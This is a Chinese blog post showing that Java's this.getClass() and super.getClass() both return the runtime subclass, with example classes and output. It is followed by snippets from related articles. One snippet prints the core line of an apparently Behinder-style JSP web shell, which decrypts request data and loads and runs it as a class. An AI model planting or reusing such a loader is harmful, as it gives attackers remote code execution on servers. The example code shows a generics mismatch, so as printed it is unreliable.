今日遇到this.getClass()和super.getClass()的返回值感到疑惑,经过探索豁然开朗。
getClass()是java中Object类的一个方法,其原型为:
public final Class<?> getClass()
返回值为 当前运行时类的Class对象。
所以写了一段代码来说明:
getClass()不受this和super影响,而是有当前的运行类决定的。
代码如下:
父类:
package com.cyou.lijiang_hw; import java.lang.reflect.ParameterizedType; public class BaseDAO { public BaseDAO() { System.out.println("==============BaseDAO initialization============="); System.out.println("this.getClass() ---->" + this.getClass()); System.out.println("super.getClass()---->" + super.getClass()); } }
子类:
package com.cyou.lijiang_hw; public class UserDAO extends BaseDAO<User> { public UserDAO() { System.out.println("\n==============UserDAO initialization============="); System.out.println("this.getClass() ---->" + this.getClass()); System.out.println("super.getClass()---->" + super.getClass()); } }
测试类:
package com.cyou.lijiang_hw; public class Test { public static void main(String[] args) { UserDAO userDAO = new UserDAO(); } }
输出结果为:
==============BaseDAO<T> initialization============= this.getClass() ---->class com.cyou.lijiang_hw.UserDAO super.getClass()---->class com.cyou.lijiang_hw.UserDAO ==============UserDAO initialization============= this.getClass() ---->class com.cyou.lijiang_hw.UserDAO super.getClass()---->class com.cyou.lijiang_hw.UserDAO
相关推荐
"Java 中 this.getClass() 和 super.getClass() 的实例" Java 中的 getClass() 方法是 Object 类的一个方法,其原型为 `public final Class<?> getClass()`, 返回值为当前运行时类的 Class 对象。这个方法可以用来...
### Java面试宝典知识点梳理 #### 一、Thread.sleep()与Object.wait() 1. **Thread.sleep()** ...以上是针对给定文件的部分内容进行的详细解释与扩展,旨在帮助读者更好地理解和掌握这些重要的Java概念和技术点。
### Java软件开发实战:Java基础与案例开发详解 #### 6-2 Object类 在Java编程语言中,`Object`类扮演着极其重要的角色。它位于`java.lang`包内,是所有Java类的直接或间接父类。这意味着每一个自定义的类(除非...
### Java泛型详解 #### 一、什么是泛型? 从JDK 1.5开始,Java引入了泛型这一特性,极大地增强了编程的灵活性和代码的重用性。泛型是一种参数化的类型,允许程序员在定义类、接口或方法时使用类型参数。这样做的...
### Java泛型类详解 #### 一、泛型概述 泛型是Java SE 1.5引入的一个新特性,它的核心思想是将数据类型作为参数传递。这种参数化类型的使用可以极大提高代码的安全性和可复用性。在泛型出现之前,Java中通常会使用...
### Java软件开发实战:Java基础与案例开发详解 —— 继承和多态 #### 6-0 继承和多态概览 本章节主要介绍了面向对象编程中非常重要的两个概念:继承和多态。继承是面向对象编程的一个核心特性,它允许创建一个新...
- 一个`.java`源文件可以包含多个类,但最多只能有一个`public`类。如果存在`public`类,文件名必须与该类名一致。 5. **排序算法** - 插入排序:逐个插入元素,保持已排序部分有序。 - 交换排序:如冒泡排序和...
【Java期末样卷详解】 这份南京工程学院的Java期末样卷主要涵盖了Java语言的基础知识,包括类的封装、继承、多态、抽象概念,接口,API的使用,异常处理,图形用户界面,线程的运行与状态,以及TCP Socket通信。...
根据给定文件中的标题、描述、标签以及部分内容,我们可以总结并深入探讨以下几个关键知识点: ### 1....以上内容涵盖了Java面试中常见的核心知识点,有助于准备面试者全面了解这些概念和技术细节。
Scala是一种强大的多范式编程语言,它在大数据领域中尤其受欢迎,因为它提供了高效的数据处理能力和对并发编程的良好支持。在Scala编程中,面向对象编程是一个核心概念,而继承是实现这一概念的关键机制。 继承允许...
### Java 高级特性详解 #### 一、`hashCode` `hashCode` 方法是 `Object` 类中的一个方法,用于返回对象的哈希码值。在 Java 中,哈希码经常被用于实现散列表(如 `HashMap` 和 `HashSet`)。为了确保散列表的正确...
### 知识点详解 #### 1. 编写具有重载特性的方法 `arrayMin()` **知识点:** - **方法重载(Overloading):** 在同一个类中可以有多个同名方法,但参数列表不同(参数个数或类型不同)。这允许我们根据不同的数据...
1. 一个".java"源文件中可以包含多个类,但只有一个公共类,且公共类的名称必须与文件名相匹配。如果不使用public修饰,则可以包含多个类,但这些类只能通过其他类的内部类等方式被外部访问。 2. Java语言中没有...
在一个`.java`源文件中可以定义多个类,但有一个重要的限制:每个源文件只能有一个公共类(即被`public`修饰的类),并且该公共类的名字必须与源文件的名字相同。例如,如果源文件名为`MyClass.java`,则其中只能有...
InputStream inputStream = this.getClass().getClassLoader().getResourceAsStream("deploy.properties"); // 读取deploy.properties文件 try { prop.load(inputStream); String dataSource = prop....
- **问题**: 一个`.java`源文件中是否可以包括多个类(不是内部类)?有什么限制? - **解答**: - 可以包含多个类。 - 限制: - 源文件名必须与公共类(public class)的名称相同。 - 公共类只能有一个,其他类...
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %> ``` 该代码实现了以下功能: ...
在一个".java"源文件中是否可以包括多个类(不是内部类)?有什么限制? 在一个`.java`源文件中可以包含多个类,但是有以下限制: - **公共类(public class)**:每个`.java`文件只能包含一个公共类,并且该文件...